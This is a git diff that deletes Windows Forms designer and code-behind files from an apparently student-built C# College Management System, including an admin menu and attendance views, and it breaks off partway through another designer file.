this.tableLayoutPanel2.RowCount = 2; - this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 8.957416F)); - this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 91.04259F)); - this.tableLayoutPanel2.Size = new System.Drawing.Size(144, 467); - this.tableLayoutPanel2.TabIndex = 0; - // - // label1 - // - this.label1.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label1.AutoSize = true; - this.label1.BackColor = System.Drawing.Color.Black; - this.label1.Font = new System.Drawing.Font("Book Antiqua", 10F, ((System.Drawing.FontStyle)((System.Drawing.FontStyle.Bold | System.Drawing.FontStyle.Italic))), System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label1.ForeColor = System.Drawing.Color.White; - this.label1.Location = new System.Drawing.Point(32, 11); - this.label1.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); - this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(79, 18); - this.label1.TabIndex = 0; - this.label1.Text = "DashBoard"; - // - // tableLayoutPanel3 - // - this.tableLayoutPanel3.BackColor = System.Drawing.Color.DodgerBlue; - this.tableLayoutPanel3.ColumnCount = 1; - this.tableLayoutPanel3.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.Controls.Add(this.tableLayoutPanel4, 0, 0); - this.tableLayoutPanel3.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel3.Location = new System.Drawing.Point(2, 43); - this.tableLayoutPanel3.Margin = new System.Windows.Forms.Padding(2); - this.tableLayoutPanel3.Name = "tableLayoutPanel3"; - this.tableLayoutPanel3.RowCount = 1; - this.tableLayoutPanel3.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.Size = new System.Drawing.Size(140, 422); - this.tableLayoutPanel3.TabIndex = 1; - // - // tableLayoutPanel4 - // - this.tableLayoutPanel4.ColumnCount = 1; - this.tableLayoutPanel4.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.Controls.Add(this.label2, 0, 0); - this.tableLayoutPanel4.Controls.Add(this.label3, 0, 1); - this.tableLayoutPanel4.Controls.Add(this.label4, 0, 2); - this.tableLayoutPanel4.Controls.Add(this.removeTeacher, 0, 4); - this.tableLayoutPanel4.Controls.Add(this.label6, 0, 5); - this.tableLayoutPanel4.Controls.Add(this.label7, 0, 6); - this.tableLayoutPanel4.Controls.Add(this.label8, 0, 7); - this.tableLayoutPanel4.Controls.Add(this.label9, 0, 8); - this.tableLayoutPanel4.Controls.Add(this.label10, 0, 9); - this.tableLayoutPanel4.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel4.Location = new System.Drawing.Point(2, 2); - this.tableLayoutPanel4.Margin = new System.Windows.Forms.Padding(2); - this.tableLayoutPanel4.Name = "tableLayoutPanel4"; - this.tableLayoutPanel4.RowCount = 10; - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 34F)); - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 37F)); - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle()); - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 37F)); - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 41F)); - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 37F)); - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 42F)); - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 52F)); - this.tableLayoutPanel4.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 100F)); - this.tableLayoutPanel4.Size = new System.Drawing.Size(136, 418); - this.tableLayoutPanel4.TabIndex = 0; - // - // label2 - // - this.label2.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label2.AutoSize = true; - this.label2.BackColor = System.Drawing.Color.Black; - this.label2.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label2.ForeColor = System.Drawing.Color.White; - this.label2.Location = new System.Drawing.Point(20, 7); - this.label2.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); - this.label2.Name = "label2"; - this.label2.Size = new System.Drawing.Size(95, 19); - this.label2.TabIndex = 1; - this.label2.Text = "Add Student"; - this.label2.Click += new System.EventHandler(this.label2_Click); - // - // label3 - // - this.label3.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label3.AutoSize = true; - this.label3.BackColor = System.Drawing.Color.Black; - this.label3.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label3.ForeColor = System.Drawing.Color.White; - this.label3.Location = new System.Drawing.Point(22, 43); - this.label3.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); - this.label3.Name = "label3"; - this.label3.Size = new System.Drawing.Size(92, 19); - this.label3.TabIndex = 2; - this.label3.Text = "Add Teacher"; - this.label3.Click += new System.EventHandler(this.label3_Click); - // - // label4 - // - this.label4.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label4.AutoSize = true; - this.label4.BackColor = System.Drawing.Color.Black; - this.label4.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label4.ForeColor = System.Drawing.Color.White; - this.label4.Location = new System.Drawing.Point(9, 81); - this.label4.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); - this.label4.Name = "label4"; - this.label4.Size = new System.Drawing.Size(118, 19); - this.label4.TabIndex = 3; - this.label4.Text = "Remove Student"; - this.label4.Click += new System.EventHandler(this.label4_Click); - // - // removeTeacher - // - this.removeTeacher.Anchor = System.Windows.Forms.AnchorStyles.None; - this.removeTeacher.AutoSize = true; - this.removeTeacher.BackColor = System.Drawing.Color.Black; - this.removeTeacher.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.removeTeacher.ForeColor = System.Drawing.Color.White; - this.removeTeacher.Location = new System.Drawing.Point(10, 118); - this.removeTeacher.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); - this.removeTeacher.Name = "removeTeacher"; - this.removeTeacher.Size = new System.Drawing.Size(115, 19); - this.removeTeacher.TabIndex = 4; - this.removeTeacher.Text = "Remove Teacher"; - this.removeTeacher.Click += new System.EventHandler(this.removeTeacher_Click); - // - // label6 - // - this.label6.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label6.AutoSize = true; - this.label6.BackColor = System.Drawing.Color.Black; - this.label6.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label6.ForeColor = System.Drawing.Color.White; - this.label6.Location = new System.Drawing.Point(16, 157); - this.label6.Name = "label6"; - this.label6.Size = new System.Drawing.Size(104, 19); - this.label6.TabIndex = 5; - this.label6.Text = "View All Data"; - this.label6.Click += new System.EventHandler(this.label6_Click_1); - // - // label7 - // - this.label7.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label7.AutoSize = true; - this.label7.BackColor = System.Drawing.Color.Black; - this.label7.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label7.ForeColor = System.Drawing.Color.White; - this.label7.Location = new System.Drawing.Point(26, 196); - this.label7.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); - this.label7.Name = "label7"; - this.label7.Size = new System.Drawing.Size(84, 19); - this.label7.TabIndex = 6; - this.label7.Text = "Add Result"; - this.label7.Click += new System.EventHandler(this.label7_Click); - // - // label8 - // - this.label8.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label8.AutoSize = true; - this.label8.BackColor = System.Drawing.Color.Black; - this.label8.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label8.ForeColor = System.Drawing.Color.White; - this.label8.Location = new System.Drawing.Point(21, 235); - this.label8.Name = "label8"; - this.label8.Size = new System.Drawing.Size(93, 19); - this.label8.TabIndex = 7; - this.label8.Text = "Show Result"; - this.label8.Click += new System.EventHandler(this.label8_Click); - // - // tableLayoutPanel5 - // - this.tableLayoutPanel5.BackgroundImage = global::CMS.Properties.Resources.College_Management; - this.tableLayoutPanel5.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; - this.tableLayoutPanel5.ColumnCount = 1; - this.tableLayoutPanel5.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel5.Controls.Add(this.tableLayoutPanel6, 0, 0); - this.tableLayoutPanel5.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel5.Location = new System.Drawing.Point(150, 2); - this.tableLayoutPanel5.Margin = new System.Windows.Forms.Padding(2); - this.tableLayoutPanel5.Name = "tableLayoutPanel5"; - this.tableLayoutPanel5.RowCount = 2; - this.tableLayoutPanel5.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 41F)); - this.tableLayoutPanel5.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 415F)); - this.tableLayoutPanel5.Size = new System.Drawing.Size(1011, 467); - this.tableLayoutPanel5.TabIndex = 1; - this.tableLayoutPanel5.Paint += new System.Windows.Forms.PaintEventHandler(this.tableLayoutPanel5_Paint); - // - // tableLayoutPanel6 - // - this.tableLayoutPanel6.BackColor = System.Drawing.Color.Black; - this.tableLayoutPanel6.ColumnCount = 1; - this.tableLayoutPanel6.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel6.Controls.Add(this.label5, 0, 0); - this.tableLayoutPanel6.Dock = System.Windows.Forms.DockStyle.Top; - this.tableLayoutPanel6.Font = new System.Drawing.Font("Book Antiqua", 12F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.tableLayoutPanel6.Location = new System.Drawing.Point(2, 2); - this.tableLayoutPanel6.Margin = new System.Windows.Forms.Padding(2); - this.tableLayoutPanel6.Name = "tableLayoutPanel6"; - this.tableLayoutPanel6.RowCount = 1; - this.tableLayoutPanel6.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel6.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 37F)); - this.tableLayoutPanel6.Size = new System.Drawing.Size(1007, 37); - this.tableLayoutPanel6.TabIndex = 0; - // - // label5 - // - this.label5.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label5.AutoSize = true; - this.label5.BackColor = System.Drawing.Color.Black; - this.label5.Font = new System.Drawing.Font("Book Antiqua", 12F, ((System.Drawing.FontStyle)((System.Drawing.FontStyle.Bold | System.Drawing.FontStyle.Italic))), System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label5.ForeColor = System.Drawing.Color.White; - this.label5.Location = new System.Drawing.Point(352, 8); - this.label5.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); - this.label5.Name = "label5"; - this.label5.Size = new System.Drawing.Size(303, 20); - this.label5.TabIndex = 0; - this.label5.Text = "Welcome To College Management System"; - // - // label9 - // - this.label9.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label9.AutoSize = true; - this.label9.BackColor = System.Drawing.Color.Black; - this.label9.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label9.ForeColor = System.Drawing.Color.White; - this.label9.Location = new System.Drawing.Point(6, 282); - this.label9.Name = "label9"; - this.label9.Size = new System.Drawing.Size(123, 19); - this.label9.TabIndex = 8; - this.label9.Text = "View Attendance"; - this.label9.Click += new System.EventHandler(this.label9_Click); - // - // label10 - // - this.label10.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label10.AutoSize = true; - this.label10.BackColor = System.Drawing.Color.Red; - this.label10.Font = new System.Drawing.Font("Book Antiqua", 12F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label10.ForeColor = System.Drawing.Color.White; - this.label10.Location = new System.Drawing.Point(9, 347); - this.label10.Name = "label10"; - this.label10.Size = new System.Drawing.Size(117, 42); - this.label10.TabIndex = 9; - this.label10.Text = "Back To Main Page"; - this.label10.Click += new System.EventHandler(this.label10_Click); - // - // AdminMenu - // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(1163, 471); - this.Controls.Add(this.tableLayoutPanel1); - this.Margin = new System.Windows.Forms.Padding(2); - this.Name = "AdminMenu"; - this.Text = "AdminMenu"; - this.tableLayoutPanel1.ResumeLayout(false); - this.tableLayoutPanel2.ResumeLayout(false); - this.tableLayoutPanel2.PerformLayout(); - this.tableLayoutPanel3.ResumeLayout(false); - this.tableLayoutPanel4.ResumeLayout(false); - this.tableLayoutPanel4.PerformLayout(); - this.tableLayoutPanel5.ResumeLayout(false); - this.tableLayoutPanel6.ResumeLayout(false); - this.tableLayoutPanel6.PerformLayout(); - this.ResumeLayout(false); - - } - - #endregion - - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel1; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel2; - private System.Windows.Forms.Label label1; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel3; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel4; - private System.Windows.Forms.Label label2; - private System.Windows.Forms.Label label3; - private System.Windows.Forms.Label label4; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel5; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel6; - private System.Windows.Forms.Label label5; - private System.Windows.Forms.Label removeTeacher; - private System.Windows.Forms.Label label6; - private System.Windows.Forms.Label label7; - private System.Windows.Forms.Label label8; - private System.Windows.Forms.Label label9; - private System.Windows.Forms.Label label10; - } -} \ No newline at end of file diff --git a/Add Code Here/C#/CMS/AdminMenu.cs b/Add Code Here/C#/CMS/AdminMenu.cs deleted file mode 100644 index 200de054420..00000000000 --- a/Add Code Here/C#/CMS/AdminMenu.cs +++ /dev/null @@ -1,108 +0,0 @@ -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Linq; -using System.Text; -using System.Threading.Tasks; -using System.Windows.Forms; -using CMS.BL; -using CMS.DL; - -namespace CMS -{ - public partial class AdminMenu : Form - { - public AdminMenu() - { - InitializeComponent(); - } - - - - private void tableLayoutPanel1_Paint(object sender, PaintEventArgs e) - { - - } - - private void radioButton1_CheckedChanged(object sender, EventArgs e) - { - - } - - private void radioButton3_CheckedChanged(object sender, EventArgs e) - { - - } - - private void label2_Click(object sender, EventArgs e) - { - AddStudentForm StudentForm = new AddStudentForm(); - this.Hide(); - StudentForm.Show(); - } - - private void tableLayoutPanel5_Paint(object sender, PaintEventArgs e) - { - - } - - private void label3_Click(object sender, EventArgs e) - { - AddTeacherForm teacherForm = new AddTeacherForm(); - this.Hide(); - teacherForm.Show(); - } - - private void label4_Click(object sender, EventArgs e) - { - RemoveStudentForm Student = new RemoveStudentForm(); - this.Hide(); - Student.Show(); - } - - private void removeTeacher_Click(object sender, EventArgs e) - { - RemoveTeacherForm teacher = new RemoveTeacherForm(); - this.Close(); - teacher.Show(); - } - - - private void label6_Click_1(object sender, EventArgs e) - { - ViewDataForm dataFrom = new ViewDataForm(); - this.Hide(); - dataFrom.Show(); - } - - private void label7_Click(object sender, EventArgs e) - { - AddResultForm Result = new AddResultForm(); - this.Hide(); - Result.Show(); - } - - private void label8_Click(object sender, EventArgs e) - { - ShowResultForm Result = new ShowResultForm(); - this.Hide(); - Result.Show(); - } - - private void label9_Click(object sender, EventArgs e) - { - AttendanceForm temp = new AttendanceForm(); - this.Hide(); - temp.Show(); - } - - private void label10_Click(object sender, EventArgs e) - { - Form1 menu = new Form1(); - this.Hide(); - menu.Show(); - } - } -} diff --git a/Add Code Here/C#/CMS/AdminMenu.resx b/Add Code Here/C#/CMS/AdminMenu.resx deleted file mode 100644 index 1af7de150c9..00000000000 --- a/Add Code Here/C#/CMS/AdminMenu.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/Add Code Here/C#/CMS/AllAttendanceForm.Designer.cs b/Add Code Here/C#/CMS/AllAttendanceForm.Designer.cs deleted file mode 100644 index ed5bd0a87f1..00000000000 --- a/Add Code Here/C#/CMS/AllAttendanceForm.Designer.cs +++ /dev/null @@ -1,179 +0,0 @@ - -namespace CMS -{ - partial class AllAttendanceForm - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - this.tableLayoutPanel1 = new System.Windows.Forms.TableLayoutPanel(); - this.pictureBox1 = new System.Windows.Forms.PictureBox(); - this.label1 = new System.Windows.Forms.Label(); - this.tableLayoutPanel2 = new System.Windows.Forms.TableLayoutPanel(); - this.tableLayoutPanel3 = new System.Windows.Forms.TableLayoutPanel(); - this.attendanceGV = new System.Windows.Forms.DataGridView(); - this.label2 = new System.Windows.Forms.Label(); - this.tableLayoutPanel1.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); - this.tableLayoutPanel2.SuspendLayout(); - this.tableLayoutPanel3.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.attendanceGV)).BeginInit(); - this.SuspendLayout(); - // - // tableLayoutPanel1 - // - this.tableLayoutPanel1.ColumnCount = 2; - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 16.5F)); - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 83.5F)); - this.tableLayoutPanel1.Controls.Add(this.pictureBox1, 0, 0); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel2, 1, 0); - this.tableLayoutPanel1.Controls.Add(this.tableLayoutPanel3, 0, 1); - this.tableLayoutPanel1.Controls.Add(this.attendanceGV, 1, 1); - this.tableLayoutPanel1.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel1.Location = new System.Drawing.Point(0, 0); - this.tableLayoutPanel1.Name = "tableLayoutPanel1"; - this.tableLayoutPanel1.RowCount = 2; - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 22.22222F)); - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 77.77778F)); - this.tableLayoutPanel1.Size = new System.Drawing.Size(800, 450); - this.tableLayoutPanel1.TabIndex = 0; - // - // pictureBox1 - // - this.pictureBox1.BackgroundImage = global::CMS.Properties.Resources._3589030; - this.pictureBox1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; - this.pictureBox1.Dock = System.Windows.Forms.DockStyle.Fill; - this.pictureBox1.Location = new System.Drawing.Point(3, 3); - this.pictureBox1.Name = "pictureBox1"; - this.pictureBox1.Size = new System.Drawing.Size(126, 93); - this.pictureBox1.TabIndex = 1; - this.pictureBox1.TabStop = false; - // - // label1 - // - this.label1.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label1.AutoSize = true; - this.label1.BackColor = System.Drawing.Color.White; - this.label1.FlatStyle = System.Windows.Forms.FlatStyle.System; - this.label1.Font = new System.Drawing.Font("Book Antiqua", 16F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label1.Location = new System.Drawing.Point(239, 33); - this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(184, 27); - this.label1.TabIndex = 2; - this.label1.Text = "Attendance Form"; - // - // tableLayoutPanel2 - // - this.tableLayoutPanel2.BackColor = System.Drawing.Color.Black; - this.tableLayoutPanel2.ColumnCount = 1; - this.tableLayoutPanel2.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.Controls.Add(this.label1, 0, 0); - this.tableLayoutPanel2.Dock = System.Windows.Forms.DockStyle.Top; - this.tableLayoutPanel2.Location = new System.Drawing.Point(135, 3); - this.tableLayoutPanel2.Name = "tableLayoutPanel2"; - this.tableLayoutPanel2.RowCount = 1; - this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel2.Size = new System.Drawing.Size(662, 93); - this.tableLayoutPanel2.TabIndex = 3; - // - // tableLayoutPanel3 - // - this.tableLayoutPanel3.BackColor = System.Drawing.Color.SkyBlue; - this.tableLayoutPanel3.ColumnCount = 1; - this.tableLayoutPanel3.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.Controls.Add(this.label2, 0, 0); - this.tableLayoutPanel3.Dock = System.Windows.Forms.DockStyle.Left; - this.tableLayoutPanel3.Location = new System.Drawing.Point(3, 102); - this.tableLayoutPanel3.Name = "tableLayoutPanel3"; - this.tableLayoutPanel3.RowCount = 2; - this.tableLayoutPanel3.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 50F)); - this.tableLayoutPanel3.Size = new System.Drawing.Size(126, 345); - this.tableLayoutPanel3.TabIndex = 4; - // - // attendanceGV - // - this.attendanceGV.AllowUserToAddRows = false; - this.attendanceGV.BackgroundColor = System.Drawing.Color.White; - this.attendanceGV.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.attendanceGV.Dock = System.Windows.Forms.DockStyle.Fill; - this.attendanceGV.GridColor = System.Drawing.Color.Green; - this.attendanceGV.Location = new System.Drawing.Point(135, 102); - this.attendanceGV.Name = "attendanceGV"; - this.attendanceGV.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.CellSelect; - this.attendanceGV.ShowEditingIcon = false; - this.attendanceGV.Size = new System.Drawing.Size(662, 345); - this.attendanceGV.TabIndex = 1; - this.attendanceGV.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.attendanceGV_CellContentClick); - // - // label2 - // - this.label2.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label2.AutoSize = true; - this.label2.BackColor = System.Drawing.Color.Black; - this.label2.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label2.ForeColor = System.Drawing.Color.White; - this.label2.Location = new System.Drawing.Point(11, 76); - this.label2.Name = "label2"; - this.label2.Size = new System.Drawing.Size(104, 19); - this.label2.TabIndex = 1; - this.label2.Text = "Back To Menu"; - this.label2.Click += new System.EventHandler(this.label2_Click); - // - // AllAttendanceForm - // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(800, 450); - this.Controls.Add(this.tableLayoutPanel1); - this.Name = "AllAttendanceForm"; - this.Text = "AllAttendanceForm"; - this.Load += new System.EventHandler(this.AllAttendanceForm_Load); - this.tableLayoutPanel1.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); - this.tableLayoutPanel2.ResumeLayout(false); - this.tableLayoutPanel2.PerformLayout(); - this.tableLayoutPanel3.ResumeLayout(false); - this.tableLayoutPanel3.PerformLayout(); - ((System.ComponentModel.ISupportInitialize)(this.attendanceGV)).EndInit(); - this.ResumeLayout(false); - - } - - #endregion - - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel1; - private System.Windows.Forms.PictureBox pictureBox1; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel2; - private System.Windows.Forms.Label label1; - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel3; - public System.Windows.Forms.DataGridView attendanceGV; - private System.Windows.Forms.Label label2; - } -} \ No newline at end of file diff --git a/Add Code Here/C#/CMS/AllAttendanceForm.cs b/Add Code Here/C#/CMS/AllAttendanceForm.cs deleted file mode 100644 index b7afa570665..00000000000 --- a/Add Code Here/C#/CMS/AllAttendanceForm.cs +++ /dev/null @@ -1,40 +0,0 @@ -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Linq; -using System.Text; -using System.Threading.Tasks; -using System.Windows.Forms; -using CMS.DL; -using CMS.BL; - -namespace CMS -{ - public partial class AllAttendanceForm : Form - { - public AllAttendanceForm() - { - InitializeComponent(); - AttendanceDL.AttendanceData1 = AttendanceDL.AttendanceData1.OrderByDescending(o => o.Percentage).ToList(); - } - - private void AllAttendanceForm_Load(object sender, EventArgs e) - { - attendanceGV.DataSource = AttendanceDL.AttendanceData1; - } - - private void attendanceGV_CellContentClick(object sender, DataGridViewCellEventArgs e) - { - - } - - private void label2_Click(object sender, EventArgs e) - { - AdminMenu menu = new AdminMenu(); - menu.Show(); - this.Close(); - } - } -} diff --git a/Add Code Here/C#/CMS/AllAttendanceForm.resx b/Add Code Here/C#/CMS/AllAttendanceForm.resx deleted file mode 100644 index 1af7de150c9..00000000000 --- a/Add Code Here/C#/CMS/AllAttendanceForm.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/Add Code Here/C#/CMS/App.config b/Add Code Here/C#/CMS/App.config deleted file mode 100644 index 56efbc7b5f1..00000000000 --- a/Add Code Here/C#/CMS/App.config +++ /dev/null @@ -1,6 +0,0 @@ - - - - - - \ No newline at end of file diff --git a/Add Code Here/C#/CMS/AttendanceForm.Designer.cs b/Add Code Here/C#/CMS/AttendanceForm.Designer.cs deleted file mode 100644 index 594967fe6c0..00000000000 --- a/Add Code Here/C#/CMS/AttendanceForm.Designer.cs +++ /dev/null @@ -1,346 +0,0 @@ - -namespace CMS.DL -{ - partial class AttendanceForm - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - this.tableLayoutPanel1 = new System.Windows.Forms.TableLayoutPanel(); - this.tableLayoutPanel5 = new System.Windows.Forms.TableLayoutPanel(); - this.label4 = new System.Windows.Forms.Label(); - this.label5 = new System.Windows.Forms.Label(); - this.monthBox = new System.Windows.Forms.TextBox(); - this.textBox1 = new System.Windows.Forms.TextBox(); - this.label6 = new System.Windows.Forms.Label(); - this.tableLayoutPanel2 = new System.Windows.Forms.TableLayoutPanel(); - this.label1 = new System.Windows.Forms.Label(); - this.tableLayoutPanel3 = new System.Windows.Forms.TableLayoutPanel(); - this.tableLayoutPanel4 = new 